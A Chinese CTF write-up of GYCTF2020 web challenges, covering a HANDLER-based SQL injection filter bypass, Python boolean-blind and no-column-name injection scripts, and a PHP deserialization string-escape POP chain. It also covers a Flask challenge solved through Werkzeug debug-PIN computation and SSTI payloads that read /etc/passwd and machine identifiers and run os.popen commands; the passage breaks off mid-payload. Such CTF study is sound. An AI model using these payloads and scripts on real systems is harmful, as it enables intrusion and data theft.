GYCTF2020(web)
GYCTF2020wp(web)
Blacklist
考点
- handler代替select进行查询
题目

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
解
1';show tables;#

先尝试拼接绕过和编码绕过
1';
SET @sql = CONCAT('S','ELECT flag FROM `1919810931114514`');
PREPARE stmt FROM @sql;
EXECUTE stmt;
#
1';
PREPARE stmt FROM 73656c656374202a2066726f6d20466c616748657265;
EXECUTE stmt;
#
发现set/prepare都被过滤,那只能用handler了
handler命令查询规则
handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read next;handler table_name close;
如何理解?
首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
首先打开数据库,开始循环读取,读取成功后进行关闭操作。
构造payload
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;
Ezsqli
考点
-
布尔盲注
-
无列名注入
题目

解
好难好难
先试试常规payload,感觉过滤不少东西or,union,in都用不了
in过滤导致我们用不了information_schema,因此要考虑绕过。
这题可以替代information_schema的方式整理出来三种
sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statistics_with_buffer
这里让ds帮忙整理下这三个的区别
| 视图名称 | 类型 | 数据格式 | 主要用途 |
|---|---|---|---|
sys.x$schema_flattened_keys |
视图 | 原始格式(x$) | 展示表的所有键(主键、外键、唯一键)的平面化信息 |
sys.x$schema_table_statistics_with_buffer |
视图 | 原始格式(x$) | 展示表的IO统计和缓冲池信息(原始字节数) |
sys.schema_table_statistics_with_buffer |
视图 | 格式化格式 | 展示表的IO统计和缓冲池信息(友好格式) |
| 特性 | x$schema_flattened_keys | x$schema_table_statistics_with_buffer | schema_table_statistics_with_buffer |
|---|---|---|---|
| 获取表名 | ✅ 有键的表 | ✅ 活跃的表 | ✅ 活跃的表 |
| 返回格式 | 原始字符串 | 原始字符串 | 格式化字符串 |
| 注入难度 | 简单 | 简单 | 稍难(含单位符号) |
| 可靠性 | 中(依赖表结构) | 高(依赖访问记录) | 高(同左) |
| 字符集 | 纯ASCII | 纯ASCII | 含数字+单位 |
但是,前两个都可以成功爆出2个表,但是第三个只能爆出users233333333333333表,爆不出flag的表
依旧ds发力
核心原因:两个视图的JOIN类型不同
1. sys.x$schema_table_statistics_with_buffer 的实现
sql
-- 简化版实现
SELECT
p.object_schema AS table_schema,
p.object_name AS table_name,
-- ... 统计字段
b.allocated AS innodb_buffer_allocated
FROM
performance_schema.table_io_waits_summary_by_table p
LEFT JOIN sys.x$innodb_buffer_stats_by_table b -- LEFT JOIN!
ON p.object_schema = b.object_schema
AND p.object_name = b.object_name
关键点:使用 LEFT JOIN,保留左表(performance_schema)的所有记录
2. sys.schema_table_statistics_with_buffer 的实现
sql
-- 查看真实定义
SHOW CREATE VIEW sys.schema_table_statistics_with_buffer;
-- 会发现它使用了 JOIN(相当于INNER JOIN)!
CREATE VIEW schema_table_statistics_with_buffer AS
SELECT
p.object_schema AS table_schema,
p.object_name AS table_name,
format_time(p.sum_timer_wait) AS total_latency, -- 格式化
-- ...
format_bytes(b.allocated) AS innodb_buffer_allocated -- 格式化
FROM
performance_schema.table_io_waits_summary_by_table p
JOIN sys.x$innodb_buffer_stats_by_table b -- 注意:这里是JOIN = INNER JOIN!
ON p.object_schema = b.object_schema
AND p.object_name = b.object_name
关键点:使用 JOIN(即INNER JOIN),只返回两个表都有的记录
假设数据如下:
performance_schema.table_io_waits_summary_by_table(有IO统计的表):
| table_schema | table_name |
|---|---|
| test_db | users233333333333333 |
| test_db | flag表 |
sys.x$innodb_buffer_stats_by_table(在缓冲池中的表):
| table_schema | table_name |
|---|---|
| test_db | users233333333333333 |
| test_db | 其他表 |
情况分析:
flag表:有IO统计(被查询过),但不在缓冲池中users233333333333333:既有IO统计,也在缓冲池中
不同JOIN的结果:
x$版本(LEFT JOIN):
-- 返回所有performance_schema中的表
users233333333333333 ✓(有IO统计+缓冲池)
flag表 ✓(只有IO统计,缓冲池为NULL)
- 非
x$版本(INNER JOIN):
-- 只返回两个表都有的记录
users233333333333333 ✓(有IO统计+缓冲池)
flag表 ✗(只有IO统计,无缓冲池记录)
所以
✅ 优先使用 x$ 版本(不会漏表)
payload1 = "sys.x$schema_table_statistics_with_buffer"
payload2 = "sys.x$schema_flattened_keys"
# ❌ 避免使用非x$版本(可能漏表)
payload3 = "sys.schema_table_statistics_with_buffer"
如何获取表名?
贴一个大佬的脚本学习学习
import requests
url=' '
flag=''
for i in range(1,200):
length=len(flag)
min=32
max=125
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
#if len(flag.strip())==length:
# exit()
print(flag)
break
payload='if(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),%d,1))<%d,1,2)'%(i,j)
#payload='1&&ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1))<%d'%(i,j)
#payload='if(((select 1,%s)<(select * from f1ag_1s_h3r3_hhhhh)),1,2)'%(flag+chr(j))
data={
'id':payload
}
r=requests.post(url=url,data=data).text
#print(r)
if 'Nu1L' in r:
max=j
else :
min=j
采用2分法进行布尔盲注
重点分析二分法利用
min = 32 # 可打印字符最小值(空格)
max = 125 # 可打印字符最大值('}')
while 1:
j = min + (max - min) // 2 # 取中间值
if min == j: # 区间缩小到无法再分
flag += chr(j) # 找到目标字符
print(flag)
break
结合
r=requests.post(url=url,data=data).text
#print(r)
if 'Nu1L' in r:
max=j
else :
min=j
第一个j=78.5,以j为中心把可打印字符分为两个区间,每次都能确定是大于j还是小于j的区间,每次判断完都会再次计算新的j作为正确区间的中间值
无列名注入
真是误闯天家,看到wp里有一句话
正常的无列名注入要么用到union,要么用到join,但是这题都给过滤了
不是,union和join我都还不会,硬着头皮继续看吧
用加括号逐位比较大小的方法,用到ascii位偏移
import requests
url=' '
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
datas={'id':py}
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
flag+=chr(i-1)
print(flag)
break
依旧ds师傅倾情讲解
题目过滤了UNION和JOIN,所以需要新思路。核心就是元组比较:
-- MySQL允许直接比较两个行
SELECT (1,'a') > (1,'b') -- 返回0 (False)
SELECT (1,'b') > (1,'a') -- 返回1 (True)
SELECT (1,'a') = (1,'a') -- 返回1 (True)
比较规则:
- 从左到右逐列比较
- 第一列相等才比较第二列
- 字符串比较按字典序(b>a,c>b...)
再看回到payload
1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))
逐层拆解:
select \* from f1ag_1s_h3r3_hhhhh- 假设flag表有两列:id(int) 和 flag_content(varchar)
- 返回所有行的所有列
select 1,"{}"- 构造一个临时行:已知查询1时有正常回显,就让第一列是1(对应id列),第二列是构造的flag字符串
- 例如:
select 1,"flag{"
(A) > (B)- 比较两个行
- 先比第一列:1 和 真实id比较(一定通过)
- 如果第一列相等,再比第二列
最后还有一步,得到flag全是大写要改成小写
这里我感觉上面的脚本太慢了,手动升级成二分法(结尾添加了转换成小写的方法)
import requests
url='http://594a548c-ca77-41f1-85a8-b0d42db55c9d.node5.buuoj.cn:81/'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
test_char = chr(mid)
test_flag = flag + test_char
py=payload.format(test_flag)
datas={'id':py}
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
high = mid
else:
low = mid+1
real_char=chr(low-1)
flag+=real_char
print(flag)
if real_char=='}':
break
result = flag.lower()
print(result)
确实快些
回头有空得学学union和join的常规无列名注入
Easyphp
知识点
- 代码审计(sql查询)
- php反序列化
题目

解
尝试登录发现存在admin用户,爆破弱口令失败
源码没啥东西,考虑那一套流程
F12和源代码中都没有信息,考虑检查常用备份,`robots`协议,目录爆破,`git`泄露
发现/www.zip有文件下载,一共4个文件
index.php
<?php
require_once "lib.php";
if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>
login.php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
还有最重要的lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){ #目标
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
代码太长太夸张了,第一次做光代码审计两个小时没搞明白
代码审计
发现lib.php有很多魔术方法,重点看这个文件
先从上往下看一遍
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
看到str_replace就已经做好字符逃逸的准备了,这场仗不好打
再往下看到
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
$this->id=$mysqli->login('select id,password from user where username=?');
User类的login方法里用$mysqli实例化了dbCtrl类,并且给这个类的login方法传参(?传了sql语句),那我们再看到dbCtrl类的login方法
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
行先看到第7行
$result = $this->mysqli->prepare($sql);
这行代码的作用是准备一个 SQL 语句用于执行,返回一个 statement 对象(预处理语句对象),这个sql语句也就是传参过来的select id,password from user where username=?
再到第8行
$stmt->bind_param('s', $this->name);
bind_param('s', $this->name)
's' 表示参数类型:s=字符串, i=整数, d=双精度, b=二进制
- 将 PHP 变量绑定到预处理语句的占位符上
- 可以防止 SQL 注入,因为参数值和 SQL 语句是分开处理的
第9行执行语句
$stmt->execute();
10到11
$stmt->bind_result($idResult, $passwordResult);
$stmt->fetch();
将查询结果的列绑定到 PHP 变量(这里sql语句默认是select id,password from user where username=?于是id是第一列,password是第二列)
再往下看连续3个if不知道该干嘛了
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
思路方向
先到此为止,看看我们最终目标反向推理
最终目标应该是update.php重点中的
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
再去找哪里能让$_SESSION['login']===1
发现在lib.php中User类的login方法
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
需要$this->id为非空值,诶?想起来刚刚正向审计时看到
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
把dbCtrl类login方法的返回值赋值给$this->id,那么目标就成了要让dbCtrl类login方法的返回值不为空,再进行审计,有返回值的地方就是刚刚三个if语句
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
要么$this->token=='admin'要么三个if全都不满足
但是
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
这里给\(this->token赋值的操作在__construct()中,刚开始User类的login方法中\)mysqli实例化dbCtrl类的时候就会触发,所以不能直接给token赋值为admin,那只能是第二种方法
需要满足两个条件
- SQL查询结果存在
- 查询出的第二列与
$_POST['password']的md5相等
但是我们不知道查询结果第二列是什么(要是知道,直接首页登录不就好了)
wp提到了修改SQL语句为'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?'。
这里“c4ca4238a0b923820dcc509a6f75849b”是字符1的md5值,然后我们$_POST['password']=1就ok了
但是咋修改SQL语句嘞?wp没说清楚,我也搞不懂
过一个春节再回来找ds请教,懂了,还是要倒推
dbCtrl类里的login方法将传入参数作为sql语句执行
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
我们尝试修改传入参数就可以执行任意sql语句
找一下能执行dbCtrl类的login方法的有两个地方
- User类的login方法,但是已经确定了SQL语句,直接排除
- Info的__call方法
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
我们让CtrlCase去实例化dbCtrl类,传入__call的第二个参数就是SQL语句
这里注意,__call方法接收两个参数:\(name*和*\)arguments。\(name*是一个字符串,包含了被调用的方法名;*\)arguments是一个数组,包含了传递给方法的参数。
然后我们找哪里可以触发__call,找到User类的__toString方法
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
让nickname实例化Info,age作为参数传入(也就是__call方法接收的第二个参数,我们可以让他作为想要执行的SQL语句)
然后构造链子
UpdateHelper::__destruct => User::__toString => Info::__call => dbCtrl::login
<?php
class User
{
public $age;
public $nickname;
}
class Info{
}
class UpdateHelper{
public $sql;
}
class dbCtrl{
}
$a = new UpdateHelper();
$a -> sql = new User();
$a -> sql -> age = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$a -> sql -> nickname = new Info();
$a -> sql -> nickname -> CtrlCase = new dbCtrl();
echo serialize($a);
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}
看到利用点
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
假设传参age=aaa&nickname=ccc
O:4:"Info":3:{s:3:"age";s:3:"aaa";s:8:"nickname";s:3:"ccc";s:8:"CtrlCase";N;}
然后经过safe处理
这时候其实不知道该干嘛了,但是看到update里触发了User类的updtae方法
$users=new User();
$users->update();
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
结合下面的getNewInfo方法
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
但是这里只传入两个属性age和nickname,而我们的pop链还需要一个Ctrlcase属性,在看到safe(serialize(new Info($age,$nickname)));这种结构基本确定字符串逃逸
我们需要被safe(serialize(new Info()))处理后增加一个Ctrlcase属性,有一个的属性值为我们的payload,让nickname或者Ctrlcase等于payload都可以,放在age还是nickname里也可以视情况选择(被ds误导了,还以为非Ctrlcase不可)
开始操作
<?php
class Info{
public $age='1';
public $nickname='O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}';
public $Ctrlcase;
}
echo serialize(new Info($age,$nickname));
#O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:200:"O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}";s:8:"Ctrlcase";N;}
我们先把";s:8:"Ctrlcase";添加到s:8:"nickname";s:200:"";s:8:"Ctrlcase";O:12:"UpdateHelper"
再统计nickname属性长度217,每包含一个union,safe处理后都可以往后挤出一个字符,所以增加217个union,再重新计算长度1302
<?php
$union=str_repeat("union", 217);
echo $union;
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":0:{}}}}&username=admin&password=1

用户不存在...
发现CtrlCase一直被我当成Ctrlcase了...
改完之后还是不行,看wp发现都是把username和password放在序列化字符串里而不是分开post,试一试(记得根据字符数配union)
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

但是没发现有flag啊,别急
往回看,我们的目标已经达成
User类的login方法
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
if($this->id)条件已经满足(看不懂的话跳转思路方向栏目)
只是if(isset($_POST['username'])&&isset($_POST['password']))还没满足
看到预处理的SQL语句
select id,password from user where username=?
参数来自
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
获取方式是
$this->name=$_POST['username'];
所以我们用admin组合任意密码在login.php(其中自动触发login方法)登录

超长战线终于结束
但是回想一下前面post传递username和password的方法失败原因
应该是update.php没有触发那些方法,在此post传参也不会被接收到
不过也许可以试试在update传入的nickname中不加入username和password就和上次修改前一样,然后在login.php用admin/1登录
经验证并不行,update.php回显用户不存在,表示在这一步卡住了
if (!$idResult) {
echo('用户不存在!');
return false;
还是没有接收到post传递的username,就这样吧
最终payload
/update.php用POST传参
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
然后/login.php用admin加任意密码登录
FlaskApp
前置知识
要获取PIN码需要知道以下几点:
-
username:运行该Flask程序的用户名;
{% for x in {}.__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }} {%endif%} {%endfor%}root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh 用户名:密码占位符:UID:GID:用户描述:家目录:登录Shell # 可登录的Shell包括: /bin/bash # Bash /bin/sh # Shell /bin/zsh # Z Shell /bin/dash # Dash /bin/fish # Fish /bin/tcsh # TC Shell /bin/ksh # Korn Shell # 不可登录的Shell: /sbin/nologin # 不能登录 /bin/false # 立即返回false /usr/sbin/nologin # 不能登录本题用户名使用最后一行的flaskweb
-
modname:模块名,在报错页面可以看到;
-
getattr(app, '__name__', getattr(app.__class__, '__name__')):app名,默认为Flask;
-
getattr(mod, '__file__', None):Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc;
-
str(uuid.getnode()):MAC地址,需要转换成十进制,读取这两个地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address;
{% for x in {}.__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }} {%endif%} {%endfor%}12:28:e1:c1:92:7c 去掉冒号,16进制转10进制 得到19966795551356 -
get_machine_id():系统id;
{% for x in {}.__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }} {%endif%} {%endfor%}
题目

解
法一:Debug-PIN
先试一试题目的功能,base64的加密解密,点击提示查看源代码提示:PIN
在base64解密栏输入1使其报错

结合提示PIN猜测切入点在debug模式,按照前置知识中的内容依次获取信息,用脚本算出pin
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'19966795551356',# str(uuid.getnode()), /sys/class/net/eth0/address
'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
拿到pin后在报错界面或者/console进入debug模式
[console ready]
>>> import os
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\nthis_is_the_flag.txt\ntmp\nusr\nvar\n'
>>> os.popen('cat /this*').read()
'flag{e5e89aee-e541-4e03-815f-4528e263bf90}\n'
>>> open('/this_is_the_flag.txt').read()
'flag{e5e89aee-e541-4e03-815f-4528e263bf90}\n'
法二:SSTI绕过
拿到题目第一反应是想试试{{7*7}}但是/encode直接base64编码了,而/decode会报错
那我们把base64编码后的{{7*7}}传入/decode呢,发现回显是49,确定存在SSTI
但是传入payload后回显no no no!!
推测存在过滤(以后可以先fuzz再做题)
fuzz过程跳过,过滤了import,os,popen啥的
然后绕过关键字过滤就ok有几种方法
拼接绕过
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen'] ('cat /this_is_the_f'+'lag.txt').read() }}
{%endif%}
{%endfor%}
逆序绕过
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
